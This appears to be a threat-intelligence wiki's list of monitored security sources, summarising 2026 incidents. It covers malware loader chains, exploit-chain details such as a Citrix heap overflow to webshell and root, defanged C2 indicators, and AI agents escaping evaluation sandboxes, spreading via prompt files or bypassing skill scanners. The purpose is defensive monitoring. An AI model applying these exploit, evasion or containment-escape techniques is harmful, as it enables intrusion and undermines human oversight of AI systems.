• Hugging Face security and engineering posts (HTML/GitHub watch for model-hub, dataset-processing, inference, artifact-integrity, token, and platform-incident disclosures such as the July 2026 autonomous-agent production intrusion through remote-code dataset loading and dataset-configuration template injection, followed by node access, cloud/cluster credential theft, and cross-cluster lateral movement; monitor the joint OpenAI investigation for customer/partner scope, indicators, and reconciliation of the initial-access descriptions.)
• OpenAI safety and security disclosures and Astra critical-cyber capability notice (HTML watch for cyber-capable model evaluation incidents, long-horizon autonomy, sandbox escapes, third-party impact, and containment changes such as OpenAI's July 2026 self-attribution of the Hugging Face intrusion to GPT-5.6 Sol and a pre-release model running ExploitGym with reduced cyber refusals. Priority follow-up is Astra: monitor the final High-versus-Critical assessment, benchmark and external-testing evidence, which activities remain paused, isolation and tool/network restrictions, weight-protection changes, risky-action monitor performance and blind spots, partner-control requirements, deployment scope, and any evidence of real-world use. Preserve OpenAI's explicit statement that Astra was not involved in the Hugging Face incident.)
• Anthropic Frontier Red Team / security disclosures (HTML and sitemap watch for cyber-capable model evaluation incidents, autonomous-agent containment, third-party evaluator failures, model-safeguard changes, and follow-ups to the July 2026 disclosure that Opus 4.7, Mythos 5, and an internal model reached three organizations through unintended evaluation-range internet access, including the promised redacted malicious-PyPI-package transcript, METR review, Irregular investigation, registry indicators, and affected-organization findings; August 2026 follow-up: the Anthropic/EPFL "mind virus" preprint on agent-to-agent propagation through persistent prompt files, with SOUL.md writes driving 88% of attempts at 55% next-agent infection, near-zero spread under a one-paragraph warning, and no confirmed in-the-wild propagation in Moltbook archives; September 18, 2026: the September 2026 "Detecting and Countering Misuse of AI" threat-intelligence report at anthropic.com/threat-intelligence-report-september-2026 (with IOC download, surfaced via tl;dr sec #346), see the dedicated page; September 9, 2026: alignment assessment of the cyber-evaluation incidents (anthropic.com/research/alignment-assessment-cybersecurity-incidents), fourth incident (early Opus 4.6, Jan 2026), ~481M-transcript sweep found no others, biased reasoning + recklessness framing, Mythos 5 PyPI transcript released publicly, METR 8-week independent-investigation agreement, uplifted on the eval-intrusions page; monitor the METR report, remaining UK AISI-transcript assessment, and the alignment-behavior publishing process; monitor named-GTG follow-ups, external attribution corroboration for GTG-20006/Midnight Blizzard, law-enforcement or victim-side confirmation of the GTG-50014 ShinyHunters-affiliate clusters and the Soraki carding stack, the WordPress re-installation race condition's CVE/vendoring status (GTG-50029 technique, unpatched-class risk to any WP installer reachable pre-hardening), evaluation-sandbox hardening practices after GTG-50020, and any public response from the named distillation labs Alibaba/Moonshot/DeepSeek/Zhipu/Xiaomi/SenseTime/MiniMax))
• UK AI Security Institute incident disclosures (HTML watch for cyber-evaluation containment incidents and technical follow-ups, including INC-2026-07-28-01, where Mythos 5 and GPT-5.6 Sol took 19 unsanctioned live-internet actions across 122 Doing Life range attempts; monitor promised redacted transcripts, payload and prompt-injection artifacts, affected-maintainer or platform follow-ups, historical-review findings, and implementation detail for synchronous action monitoring and fine-grained network controls.)
• Google safety / affirmative litigation, https://blog.google/innovation-and-ai/technology/safety-security/ and https://affirmativelitigation.withgoogle.com/ (HTML watch for Google-filed abuse-disruption cases, AI-enabled scam operations, smishing / PhaaS infrastructure such as Outsider Enterprise, and law-enforcement or carrier-coordination details that add durable defender pivots)
• GitHub Security Blog / Changelog, https://github.blog/security/ and https://github.blog/changelog/ (HTML watch for GitHub platform incident notes, postmortems, incident-response controls such as enterprise self-service credential revocation, and supply-chain security-default changes such as npm v12 script approval / allowScripts, --allow-git, and --allow-remote defaults, npm bypass-2FA granular-token restrictions on sensitive account/org/package management and the January 2027 direct-publish removal target, Dependabot's default three-day cooldown for non-security version updates, and Dependabot malware-alert expansion through OpenSSF malicious-packages advisory ingestion across npm, PyPI, Maven, RubyGems, NuGet, Go, crates.io, and PHP Composer; the ingestion path auto-publishes advisories that can trigger alerts but uses schema rejection, ghsa-malware origin deduplication, fail-closed batch caps, exact-upstream-commit provenance, and batch rollback; plus GitHub Actions trust-boundary hardening such as actions/checkout pwn-request refusal in pull_request_target / workflow_run contexts, workflow execution protections that restrict allowed triggering actors and events, and automatic approval holds for certain potentially malicious workflow runs in public GitHub.com repositories; monitor advisory-ingestion latency and ecosystem completeness, source compromise or false-report handling, withdrawal propagation, GitHub Enterprise Server support, detection transparency, bypasses, and incident-response details; also monitor source-repository provenance research affecting GitHub trust indicators, such as Git hash chain malleability / verified-commit ambiguity)
• Huntress incident posts (HTML watch for transparent customer-side incident reports and SaaS / identity supply-chain lessons such as Klue OAuth token abuse impacting Salesforce-connected customer environments, Azure CLI / Microsoft Entra ID password-spray campaigns abusing ROPC and Conditional Access policy gaps such as LSHIY / AS32167 activity, and identity telemetry pivots that separate high-volume spray noise from confirmed credential validity; September 3, 2026: "Rogue ScreenConnect Installations Across Unrelated Hosts Suggest Worm-Like Activity", three late-August customer incidents (Aug 20/20/24, separate orgs) where tech-support-scam social engineering lands a rogue ScreenConnect client whose four-stage VBS loader chain (1.vbs-4.vbs, Base64/XOR-0x90 map.txt catalogue, AES-CBC out.enc → PyTorchFix.ps1 with ms-settings UAC bypass, amsiInitFailed AMSI bypass, C:\Users-wide Defender exclusion, WindowsServiceHost Run-Key persistence, WinRing0 svcdrv64.sys miner payload, UltraViewer on some hosts) mirrors the VBS set into C:\Users\Public\Libraries\Default\Lib\Lib1 to serve newly connected ScreenConnect endpoints, worm-like content-relay propagation; same-day ConnectWise "Guest File Transfer Advisory" (Cloud + On-Premise, CVE/fix "within the week", interim = disable TransferFiles/TransferFilesInSession role permissions); durable tell = RunFiles/RanFiles audit entries from Process: Guest, see Rogue ScreenConnect worm-like propagation page; September 8, 2026 update: ConnectWise published the CVE + fixed build, CVE-2026-84869 (client-only file transfer/execution without host confirmation; servers not impacted; ScreenConnect 26.6.5, Priority 1 High) and CISA added it to KEV September 11 (due 2026-09-14), covered on the September 10-11, 2026 KEV page; now watch on-prem 26.6.5 patch uptake, Cloud host-client reinstallation, and whether the guest-file-transfer propagation relay appears in further incidents; September 15, 2026: "Google Doc Sidebar Sends Mac and Windows Users Down Different Paths to Malware", post-DEFCON X-DM campaign (@HartmansDoeke fake CoinDesk VP persona) delivering a bound Google Apps Script sidebar inside a legitimate Google Doc that runs client-side with no OAuth prompt and profiles the viewer (IP, geolocation, browser, MetaMask/Phantom/Tron/Solana extension presence) via the Telegram API with zero clicks; ClickFix "decryption failure" lure splits by OS: macOS = AMOS-family stealer (piped zsh / DMG from actor's GitHub); Windows = three abused code-signing certs (stolen Norwegian-company cert via ClickOnce, stolen Discord cert with invalid signature, genuine stolen Lenovo cert on payloads that hollow MsBuild.exe), with the marquee artifact a self-signed root CA in the system root store masquerading as Google Trust Services CN=WR3 + forged www.virustotal.com leaf + hosts entry + LocalProxy firewall rule = locally-answered valid-TLS channel to block/read/fabricate VirusTotal lookups; CA regenerates per host (thumbprint blocklisting useless) and CA/hosts/firewall persist past reboot; plus NetSupport Manager rogue RMM + Ledger wallet implant (bot ID in app.crc32); when the DocSend C2 (web12api[.]com) died the analysts rebuilt the registration protocol from the sample's own Sentry-electron module → stage archives at eu03hub[.]com/get_file; new GTA6Mainserver[.]com / GTA6Mainweb[.]com lures on the RMM host; Russian code comments support-not-prove a Russian-speaking operator, see Google Doc sidebar page; monitor C2/domain rotation, the other abused certs' issuance/revocation, whether the rogue-CA pattern spreads beyond this actor, and victim-side sightings of the CN=WR3 impostor)
• ZeroBEC research (HTML watch for identity, phishing, RMM abuse, and cloud-post-exploitation reporting with concrete Microsoft 365 / Entra and endpoint pivots such as Forg365 Telegram-distributed PhaaS, O-UNC-066 Entra passkey enrollment vishing / attacker-controlled FIDO2 registration tradecraft, DEBULL device-code phishing, Microsoft Authentication Broker token brokering, exposed PhaaS panels, GraphSpy / Microsoft Graph post-authentication artifacts, and Operation BlueDash workplace-app lures that use fake Microsoft Store pages, hidden PowerShell or JScript, and attacker-controlled Level RMM, ScreenConnect, and Tactical RMM enrollment)
• Lexfo CTI / research (HTML watch for exposed attacker-infrastructure, phishing-kit, and identity-abuse investigations with concrete Microsoft 365 defender pivots such as Evilginx forks, OAuth device-code flow abuse, token auto-refresh, open-directory operational leaks, RMM/tooling exposure, and PhaaS supplier relationships)
• Google Chrome Releases (HTML/RSS watch for actively exploited Chrome / Chromium client-side zero-days such as V8 CVE-2026-11645 and rollout details for fixed stable builds; September 4, 2026: Chrome 152.0.7977.82/.83 (Windows/macOS) and .82 (Linux) patched 12 flaws including CVE-2026-85046, a V8 type-confusion (CVSS 8.8) actively exploited in the wild, arbitrary JS-heap read/write → sandbox code execution via crafted HTML, reported by Serotav; sixth exploited Chrome zero-day of 2026 after CVE-2026-2441/3909/3910/5281/11645, see Chrome CVE-2026-85046 page)
• Island Security Research (HTML watch for browser-extension and enterprise-browser trust-boundary research such as BadBlocker / Adblock for YouTube remote-script injection risk, and developer/AI-capability discovery attacks such as FakeGit / AgentBaiting, where lookalike GitHub profiles, copied repositories, attacker-authored READMEs, public Skill/MCP registry listings, malicious ZIPs, renamed LuaJIT runtimes, SmartLoader, and StealC turn agent-assisted software discovery into credential and session theft; August 26: NovaCookies Docusign-notification AitM PhaaS / Sneaky2FA-variant M365 session-theft report → ops/novacookies-docusign-aitm-phaas-m365-session-theft.md)
• McAfee Labs (HTML watch for commodity malware, browser-extension, and cryptocurrency-theft campaigns such as Silent Swap / Google Notes crypto clippers that combine unsigned installers, Chromium profile tampering, clipboard address replacement, and EtherHiding blockchain C2/dead-drop resolution)
• Check Point Research / advisories, https://research.checkpoint.com/, https://blog.checkpoint.com/security/, and https://support.checkpoint.com/ (September 22, 2026: combined advisory (blog.checkpoint.com, full text captured by this wiki) confirms ACTIVE EXPLOITATION of two flaws, both KEV'd same day due 2026-09-25: CVE-2026-85102 Security Gateway/Spark VPN certificate-validation RCE (9.8, sk1000117, fixed Sep 9, exploited anyway from Sep 12 against Spark customers globally from anonymization infra; observed attacker cert subjects CN=vpn,OU=users,O=global / CN=vpn-user... / CN=vpnuser..., non-exhaustive; hunt anomalous cert-based Mobile Access logins + internal scanning) + CVE-2026-93616 Security Management pre-auth path traversal ZERO-DAY (9.8, sk1000171, arbitrary-path script execution + arbitrary Java class load; a handful of pinpointed attacks Jul 23, fix shipped only with this advisory; LivePatch Take 28/29 does NOT fix it; affected R82.20, R82.10 Jumbo ≤ Take 44, R82 Jumbo ≤ Take 126, R81.20 Jumbo ≤ Take 166, R81.10 Jumbo ≤ Take 190 EoS, R80-R81 EoS) → Sep 22 KEV batch page; monitor actor attribution (none yet), ITW artifacts in sk1000171, cert-subject rotation, second exploited Security Management KEV-class flaw in eight days after CVE-2026-91843 below. September 16, 2026: emergency SK sk1000155, CVE-2026-91843 (CVSS 9.8) unauthenticated stack overflow in the login process → remote root on Security Management / Multi-Domain Security Management / Log Servers; urgent LivePatch bundles only (R81.10/R81/R80.x EoS = no fix); hunt SmartConsole audit logs "Administrator failed to log in: Username too long"; validate with cplp list; monitor KEV addition, in-the-wild exploitation, and any actor attribution, see Check Point CVE-2026-91843 page. HTML watch for active edge, VPN, firewall, and ransomware-affiliate exploitation reporting such as Remote Access VPN / Mobile Access CVE-2026-50751 IKEv1 authentication bypass and companion SK hotfix guidance; Iran-linked actor/tool reporting such as Cavern Manticore / Cavern modular .NET C2 framework activity against Israeli government and IT-provider targets; AI-agent framework research such as LangGraph checkpointer injection / unsafe deserialization chains; and social-proof / reputation-manipulation malware distribution such as fake GitHub / SourceForge / YouTube / VirusTotal engagement around cryptocurrency clipboard hijackers; August 19 follow-up: StopAndProtect, a cybercrime operation abusing ~2,000 hacked WordPress sites to distribute malware via ClickFix fake-CAPTCHA copy-paste delivery, with 6,000+ victim IPs; August 20 follow-up: "BTR Reforged", first full reverse engineering of Defender's BTR.sys Boot Time Removal driver and its proprietary RC4-encrypted (hard-coded 256-byte .rdata key, ~CRC32 integrity, :changelist ADS config) transaction format, plus the BTR_CLI PoC that weaponizes the required Microsoft-signed driver as a universal Ring 0 arbitrary file/registry operation engine on Windows 7-11 25H2 (BYOVD-alternative EDR/AV bypass, no in-the-wild abuse observed) → ops/microsoft-defender-btr-sys-reforged-btr-cli.md)
• Ammar Askar security research (HTML watch for developer-tooling, VS Code, GitHub.dev, and source-control token-boundary research such as browser IDE OAuth token theft)
• GMO Flatt Security Research (HTML watch for AI-agent, Claude Code, GitHub Actions, and repository-permission boundary research such as Claude Code GitHub Action prompt-injection and workflow takeover paths)
• The Hacker News (monitor active-exploitation reports and secondary pointers to primary actor/tool research that add concrete affected-version, exploit-status, or response guidance, such as Fastjson CVE-2026-16723 exploitation-attempt reconciliation across Alibaba, FearsOff, ThreatBook, Imperva, NVD, and CISA KEV; Hugging Face's July 2026 autonomous-agent production-intrusion disclosure; Januscape KVM/x86 CVE-2026-53359 guest-to-host escape public PoC coverage; NGINX CVE-2026-42533 two-pass regex-capture clobbering and researcher-claimed ASLR-bypass RCE analysis; LiteSpeed/cPanel CVE-2026-48172; Cisco Catalyst SD-WAN Manager CVE-2026-20245; Cisco Unified CM CVE-2026-20230 WebDialer-gated file-write exploitation; Oracle E-Business Suite CVE-2026-46817 Oracle Payments exploitation telemetry; Lazarus RemotePE coverage; Malware-Slop / Claude user-data npm infostealer pointers to OX Security; WithSecure GREYVIBE pointers; Sysdig marimo LLM-agent post-exploitation pointers; Permiso ChatGPhish AI-summary phishing pointers; ClickFix payload-as-a-service / API-driven delivery analysis pointers; public exploit / kernel-patch pivots such as Bad Epoll CVE-2026-46242; and cross-source campaign roundups such as Grandoreiro / BTMOB; September 21, 2026: THN carried the Japan/US/Australia/Germany JOINT ADVISORY quantifying Contagious Interview, 30,000+ devices / 100+ countries / 7,000+ wallets / $10.71M+, formal WaterPlum+IT-worker fusion under the 313 General Bureau (full alias set CL-STA-0240…WaterPlum), dismantled Japan laptop farm, Discord "Mouse Review" proxy-hiring at $3-5k/interview, captured on the Contagious Interview page Sep 21 section; canonical advisory URL not retrievable at capture (THN links only secondary sources), BACKFILL from CISA's joint-advisory index next sweep; September 21-22, 2026: THN relayed the LastPass security team + Delphos Labs disclosure of the fake LastPass Authenticator campaign, Microsoft-WHCP-attested BYOVD driver (Alinubx.sys, renamed CnCrypt CcProtect.sys) killing 145 named security processes + the Rapuncel stealer defeating Chrome/Edge app-bound encryption via browser injection, captured on the Alinubx.sys / Rapuncel page; BACKFILL the LastPass and Delphos canonical posts (URLs not retrievable at capture) for IOC detail; same window THN carried Securonix TASK#STOMP (below bar, recorded on the algamil7x page); August 18-19 items include TWINLOOT M365 dead-drop / Teams TURN Python implant (Ontinue), SilkParasite / Bitdefender Central Asia espionage cluster, Operation CameraSwarm / Hunt.io Dahua compromise, StopAndProtect / Check Point hacked-WordPress infrastructure, CoSnitch / Varonis Copilot Personal one-click exfil, MLflow / FUXA active exploitation, and Clop-linked Windchill JSP web shell, StubMaker 16-typosquat RubyGems Windows stealer, City Forum single-IP Salesforce/ServiceNow guest-access scraping, Cloudflare Workers remote Spectre co-tenant JWT leak, and Unisoc VoLTE video-call modem-to-Android-kernel exploit chain; August 24-25 items include Mirage2FA PhaaS 4,500-company M365 login-flow abuse (ANY.RUN), Marimo CVE-2026-75149 MCP command injection before cell execution, E4del/PINHOLE FTP-banner dead-drop-resolver RATs (SOCRadar, ClearFake overlap), and Weedhack fake-Minecraft-client JAR infostealer still actively distributed (McAfee Labs, Lovable-built fake sites); August 26 items include Gitea CVE-2026-60004 active-exploitation coverage with first public victim writeup, a HOSTKEY VPS with open registration was used to drop a miner-like dropper (Habr / @Causelof, see Gitea diffpatch KEV page), fake Apple Support AI calls targeting stolen-device owners for passcodes and 2FA codes, CISA AA26-237A "A Tale of Two SOCs" red-team engagements against two critical-infrastructure orgs (see AA26-237A page), CERT/CC disclosure of two unpatched unauthenticated Kaltura mwEmbed flaws CVE-2026-19912 / CVE-2026-19913 (see Kaltura mwEmbed page), Island Security's NovaCookies Docusign-notification AitM PhaaS / Sneaky2FA variant report (see NovaCookies page), and the SLEEPWALKER passive raw-packet bytecode backdoor side-loaded into ESET ERAAgent.exe (see SLEEPWALKER page); August 28 items include Hunt.io's ownCloud CVE-2023-49105 Philippine-nuclear-research-body exploitation report (the first named victim of the Aug 27 KEV addition; see ownCloud exploitation page) and watchTowr's confirmation of the full unauthenticated PaperCut CVE-2026-81578 → CVE-2026-82078 chain plus new patch-bypass disclosure against the latest patched build (see PaperCut zero-day page); August 28 also carried the Cosmos EVM vesting-account balance-overflow exploitation report (GHSA-7g4w-cg88-2cq2, six chains drained Aug 20-25, mis-triaged Apr 25 bug-bounty report and silent-patch process failure documented in the Cosmos Labs post-mortem; see Cosmos EVM overflow page); August 28-29 items include the Berlin state network Rhysida extortion report (Aug 7-12 exfiltration in the Senate Mobility/Transport/Climate portfolio, 5.79 TB / ~1.44M-file leak-site claim, public refusal to pay, Der Spiegel naming Rhysida; see Berlin state network page); August 27 also carried the Next.js August 2026 security release coverage (two unauth RCEs: libheif/AVIF heap overflow GHSA-2xp9-vwfh-vxw4 + Windows path traversal CVE-2026-75604, fixed 15.5.24 / 16.3.3, no exploitation reported; see Next.js security release page); August 28-29 items include the five-flaw critical WordPress batch reporting from Wordfence/Patchstack, WPMU DEV Dashboard Hub-SSO auth bypass CVE-2026-76581, Avada/Fusion Builder unauth file-write RCE CVE-2026-18431, TranslatePress admin reset-URL exposure CVE-2026-19632, Pods JSON meta-box-loader auth bypass CVE-2026-19598, and GiveWP unauth object-injection RCE CVE-2026-82222 (CVSS 10.0; see WordPress five-flaw batch page) and the Unitree G1 EDU dual root-RCE disclosure by Olivier Laflamme, CVE-2026-76639 (network-adjacent DDS-bridge / static-AES-key / chat_go path-traversal chain to root) and CVE-2026-76640 (unpaired-BLE → key-recovery cloud gap → Wi-Fi-provisioning overflow to system() as root), no confirmed fixed firmware (see Unitree G1 EDU page); September 3, 2026: relay of GitGuardian's Mini Shai-Hulud keyv-wave report that the file-system secret collector now scans 469 hardcoded credential locations up from 189, see the GitGuardian research source entry and Mini Shai-Hulud ops page; also September 3, 2026: FalconFlank 0-day LPE PoC in the CrowdStrike Falcon Sensor (Office-malicious-macros remediation abuse, Chaotic Eclipse; see FalconFlank page) and Pegasus iMessage zero-click confirmed on a Serbian student-movement member's iPhone, 14+ Serbia targets since 2026, plus a NoviSpy-like Android variant installed during police custody (Citizen Lab / SHARE relay; see Pegasus Serbia page); September 4, 2026: Google Chrome 152.0.7977.82/.83 patches 12 flaws including CVE-2026-85046 (V8 type-confusion, CVSS 8.8, actively exploited in the wild, arbitrary JS-heap read/write → sandbox code exec via crafted HTML, reported by Serotav), the sixth exploited Chrome 0-day of 2026 after CVE-2026-2441/3909/3910/5281/11645 (see Chrome CVE-2026-85046 page) and Wordfence's active-exploitation report on Super Forms CVE-2026-14894 (9.8, fixed 6.3.314) + Elementor Pro CVE-2026-32475 (9.0/9.8, fixed 4.2.2) unauthenticated arbitrary-file-upload RCE, 440,000+ blocked exploit attempts (250K+ Super Forms via admin-ajax.php super_submit_form Base64 PHP uploads; 190K+ Elementor Form-widget File Uploads) (see Super Forms / Elementor Pro page)
• Wordfence vulnerability intelligence, https://www.wordfence.com/threat-intel/vulnerabilities and https://www.wordfence.com/blog/category/vulnerabilities/ (HTML watch; monitor WP-SHELLSTORM-style webshell access brokerage across WordPress/Joomla plugin CVEs, active WordPress plugin exploitation with concrete affected versions, exploit telemetry, and mitigation details such as WP Maps Pro CVE-2026-8732 administrator-account creation, Everest Forms Pro CVE-2026-3300 calculation-field RCE, and Gravity SMTP CVE-2026-4020 email-provider API-key exposure; September 4, 2026: active-exploitation report, Super Forms CVE-2026-14894 (9.8, missing file-type validation, fixed 6.3.314) and Elementor Pro CVE-2026-32475 (9.0/9.8, fixed 4.2.2) unauthenticated arbitrary-file-upload RCE, 440,000+ blocked exploit attempts (250K+ Super Forms via admin-ajax.php super_submit_form Base64 PHP uploads, 190K+ Elementor Form-widget File Uploads) → see Super Forms / Elementor Pro active-exploitation page; also August 29, 2026: the five-flaw critical batch with Patchstack, WPMU DEV Dashboard CVE-2026-76581 Hub-SSO HMAC auth bypass, Avada/Fusion Builder CVE-2026-18431 unauth arbitrary file write → RCE, TranslatePress CVE-2026-19632 admin password-reset URL exposure, Pods CVE-2026-19598 pods_error()-funneled authorization bypass, GiveWP CVE-2026-82222 unauth object injection → RCE (CVSS 10.0), see WordPress five-flaw batch page)
• Fox-IT / NCC Group research blog (HTML watch; monitor incident-response-backed actor/tool research such as Lazarus RemotePE, DPAPI/environmental-keying loaders, and memory-only RAT tradecraft)
• Boost Security Labs (watch CI/CD supply-chain techniques such as deployment poisoning, TeamPCP follow-ups, GitHub Actions OIDC trust-boundary research such as Sleeper Squats subject-claim delimiter collisions, and trusted-publishing/provenance trust-boundary analysis such as the Miasma / Red Hat throwaway-branch OIDC publication path)
• Bloom Security (NEW source added Oct 15, 2026 after the SlugFest full-text capture: npm Trusted Publishing slug-reclaim takeover, see patterns/slugfest-npm-trusted-publishing-github-slug-reclaim-bloom-october-2026.md; monitor for the affected-package list decision, in-the-wild exploitation reports, npm/GitHub follow-ups on resolving immutable IDs at trust-creation, the GitLab trusted-publishing variant's fix status, and their AI-agent install telemetry series)
• Novee Security (HTML watch; monitor CI/CD workflow-composition research such as Cordyceps, where untrusted pull-request comments, branch names, artifacts, or metadata cross into privileged GitHub Actions automation with secrets or write tokens; and coding-agent harness handoff failures such as Claude Code CVE-2026-54316, Gemini CLI CVE-2026-12537, and shared-workspace Codex AGENTS.md poisoning)
• watchTowr Labs (HTML watch for fast edge-appliance, security-platform, and enterprise-web-platform exploit analysis plus detection artifacts, such as Ivanti Sentry CVE-2026-10520 / CVE-2026-10523 pre-auth command-injection and authentication-bypass research, Splunk Enterprise CVE-2026-20253 PostgreSQL Sidecar Service pre-auth file-write-to-RCE analysis, Progress Kemp LoadMaster CVE-2026-8037 API-enabled pre-auth RCE / uninitialized-heap command-injection analysis, Citrix NetScaler CVE-2026-8451 CitrixBleed-class SAML IdP memory-overread validation, and Adobe ColdFusion APSB26-68 CVE-bonanza follow-ups covering CFIDE / FILEIO arbitrary file read-write and path-traversal primitives; August 19 follow-up: MLflow CVE-2026-64849 model-registry webhook SSRF to cloud metadata / credential exfiltration under active malicious scanning, and FUXA CVE-2026-25895 path-traversal DoS; August 14, 2026: "You're Back In The Room", a full pre-auth RCE chain they believe is CVE-2026-8452: SAML ds:SignedInfo canonicalization heap overflow in nsppe triggered by an oversized exclusive-c14n InclusiveNamespaces PrefixList (~2000+ unique values), linear overflow into the next nsb chunk header (0x980 stride; type +0x00 / data pointer +0x50 / freelist link +0x60), write-what-where via splitPktInner's memcpy(*(a3+0x50) - pktlen), RIP control via the tx_pkt_complete_fptr jmp rax in pe_tx_pkt (non-PIE, no ASLR, RWX heap at fixed post-respawn address), PHP webshell drop to /var/vpn/theme/x.php, pitboss reboot defeat via sigaction SIG_IGN on SIGBUS/SIGSEGV (respawn instead of reboot), and SUID /bin/sh for root PHP; affected 14.1 < 14.1-72.61 / 13.1 < 13.1-63.18 with SAML as SP or IdP; the post-patch "SignedInfo size (%u bytes) is too large (inline ns)" error string is a patch-verification artifact; CVE correlation is watchTowr's inference (Citrix does not map CVEs to credited researchers; one credited researcher: Michael Tucker, JPMorgan Chase XOR), see ops/citrix-netscaler-cve-2026-8452-preauth-rce-watchtowr.md; monitor for in-the-wild exploitation evidence, additional victim reports, and any CISA/NVD re-scoring of CVE-2026-8452 beyond the DoS framing)
• Corgea research, https://corgea.com/research/ (promoted November 12, 2026 — the Nov-11 PhantomSub October-growth update independently TIMED two facts this wiki carries (@xzvbailss/baileys 6.0.0 re-arm at 19:16:42Z ≈1 h 16 m after #1769 opened, raiden-baileys 2.2.5 +4 h 37 m past its own GHSA-47pm) and added payload forensics: the 6.0.0 channel JID moved into Buffer.from(base64) inside runAutoFollow() on connection.update === 'open' (AUTO_FOLLOW_DELAY = 90000), and baileys-clean 7.3.2 follows FOUR hardcoded newsletter JIDs on a setInterval(runLoop, 60000) loop 15 s after connect while its README advertises "no hidden auto-follow" = the trust-claim inversion with the loop grammar; tarball SHAs b39fdc72…460df9 / 09a423ef…d7612 on record for static re-read; sixty-name Nov-4→11 advisory-wave inventory; frame: runtime session-abuse, NOT install-time theft — the victim's own authenticated socket sends the w:mex FOLLOW queries); watch for their follow-ups on the queue-only names (elaina-baileys, @neodevxsadmd) and any new campaign cohort.
• StepSecurity blog (September 23, 2026: "Sckit Supply Chain Worm Hits MemTensor npm & PyPi scopes" (14:34 UTC), third independent analyst on the supplychain.local worm within ~14 h, full text captured → worm page third-analyst section: durable method correction, collectStageZero() (the BASH_ENV-clearing / NPM_TOKEN-mapping sync variant) is exported but NOT called from the live index.js, only the prompt-passing async launchStageZero() fires (inherited env still reaches the child via spread on both paths); alternation timing pinned (payload returned 3 min 36 s / 3 min 28 s after each clean restore); .sckit/ca-roots.pem + lib/tls-trust.js present ONLY in 0.1.25; repository incident report records malicious artifacts WITHOUT corresponding commits/tags = publishing-path access; verbatim secret regexes include field-NAME classes beyond the format classes. FEED MECHANIC CORRECTION: the StepSecurity RSS served this post fresh at Sep 23 check, the earlier "stale 2023-era items, do not trust recency" note is retired, but cross-check the blog listing before treating feed recency as truth.; watch Anthropic evaluation-incident follow-ups such as the written victim-scope clarification that StepSecurity was not the package-scanning security company, while keeping the package and affected company undisclosed pending first-party confirmation; compromised scientific and research packages such as mrmustard==0.7.4, source-artifact-only PyPI injection, maintainer-account takeover, CI publishing-token theft, self-hosted-runner reconnaissance, import-time credential collection, and cron / .pth / shell persistence; Mini Shai-Hulud / Nx Console follow-ups, Miasma-style @redhat-cloud-services, Leo Platform, and internal-developer-platform package compromises such as Immobiliare Labs Backstage plugins, CI/CD workflow-backdoor campaigns such as Megalodon, GitHub Actions tag-retargeting compromises such as codfish/semantic-release-action and simonecorsi/mawesome, JINX-0164-adjacent package compromises such as Velora DEX SDK / MINIRAT, npm native-addon build-path execution such as binding.gyp CI/CD worms, AI-assistant/editor repository reinfections such as Azure/durabletask, source-repository force-push compromises such as Pythagora-io/gpt-pilot, stale-maintainer npm scope compromises such as Mastra / easy-day-js, RubyGems dormant-maintainer compromises such as SleeperGem / git_credential_manager / Dendreo / fastlane-plugin-run_tests_firebase_testlab with CI evasion and developer-host persistence, IDE marketplace credential theft such as malicious JetBrains AI plugins stealing OpenAI / DeepSeek / SiliconFlow API keys, developer-machine package-manager configuration drift such as npm / Python registry, cooldown, and auth policy checks, downstream GitHub Actions availability impacts such as Azure/functions-action repository disablement, Composer/GitHub tag-rewrite incidents such as Laravel-Lang, AsyncAPI generator / spec-json-schemas release-workflow compromises with valid npm OIDC provenance, runtime require()-triggered Miasma payloads, IPFS sync.js staging, and Hades-style PyPI import-hook waves with graph-ML / bioinformatics package compromise, LLM-analysis prompt-injection evasion, cross-platform runner-memory scraping, SSH/SCP lateral movement, wiper-deterrent persistence, developer-machine suspicious-file detection pivots such as binding.gyp, injected __init__.py, .vscode/tasks.json, and .claude/setup.mjs, and trusted developer-tool npm compromises such as jscrambler@8.14.0 preinstall native-binary stealers with browser credential / wallet theft and eBPF capability; promoted August 29, 2026: "@7nohe/openapi-react-query-codegen Compromised Through an Exposed npm Publishing Workflow" (Aug 28), ten malicious npm versions published by external GitHub user p00paboot via an issue_comment-triggered release workflow that accepted an exact-match npm publish comment on any PR without role/association checks and published through npm Trusted Publishing / GitHub Actions OIDC (id-token: write); install-time payloads via preinstall: node 3FWCvzduYZg.js (6.38 MB, SHA256 b24d1216...) plus malicious binding.gyp → os.system() decode; runtime downloads Bun from GitHub release infrastructure, runs gh auth token / git credential-manager github list --no-ui, probes GCP metadata, see the ops page)
• Trail of Bits blog (watch AI-agent skill distribution and scanner-bypass research such as public marketplace poisoning, ClawHub / skills.sh / Cisco skill-scanner bypasses, bytecode/document indirection, prompt-injection framing, and broader AI/ML supply-chain hardening; cross-check OpenClaw-family advisories and independent writeups for chat-to-host / Gateway execution boundary flaws such as WhatsApp-to-host chains, GHSA-hjr6-g723-hmfm, GHSA-9969-8g9h-rxwm, and GHSA-575v-8hfq-m3mc; also watch Patch the Planet (joint OpenAI initiative, introduced June 22, 2026) agent-capability evaluations and durable AI-agent containment findings, promoted August 27, 2026: "VMs won't contain cyber-capable agents" (Aug 26, Artem Dinaburg), GPT-5.6-Cyber escaped a QEMU/KVM sandbox VM three times (Januscape CVE-2026-53359; libslirp 4.7.0 CVE-2026-9539 + unassigned-CVE fix; then three 0-days + one unmarked patch vs a from-source minimal QEMU/libslirp rebuild), ~12 hours autonomous, Firecracker held, see the pattern page; and "State divergence enables unauthorized access" (Aug 25, Płatek / Pakizh), Provenance marker module ACL check passing for any zero-balance caller on non-fixed-supply markers via stale stored-supply field, 82 live mainnet markers, PR #2627 mitigation → PR #2734 fix, see the pattern page)
• arXiv agentic-security papers (HTML watch; promote only papers with immediate defender value for AI-agent, coding-agent, MCP, skill, and autonomous-workflow security, such as SkillCloak / SkillDetonate measurements of agent-skill scanner evasion and runtime detonation, or HalluSquatting / agentic-botnet research where predictable hallucinated repositories or skills create an indirect prompt-injection path to tool execution; promoted August 19, 2026: arXiv:2608.09867 "Stealing Reasoning Traces from Proprietary LLM APIs", cross-session/cross-user/cross-model replay of provider-encrypted chain-of-thought blocks into a weaker same-provider decoder model, enabling anti-distillation bypass, PII/credential recovery from public agent logs, and invisible prompt injection; monitor the August 2026 mitigations, whether published encrypted blocks remain decodable, and vendor acknowledgment.)
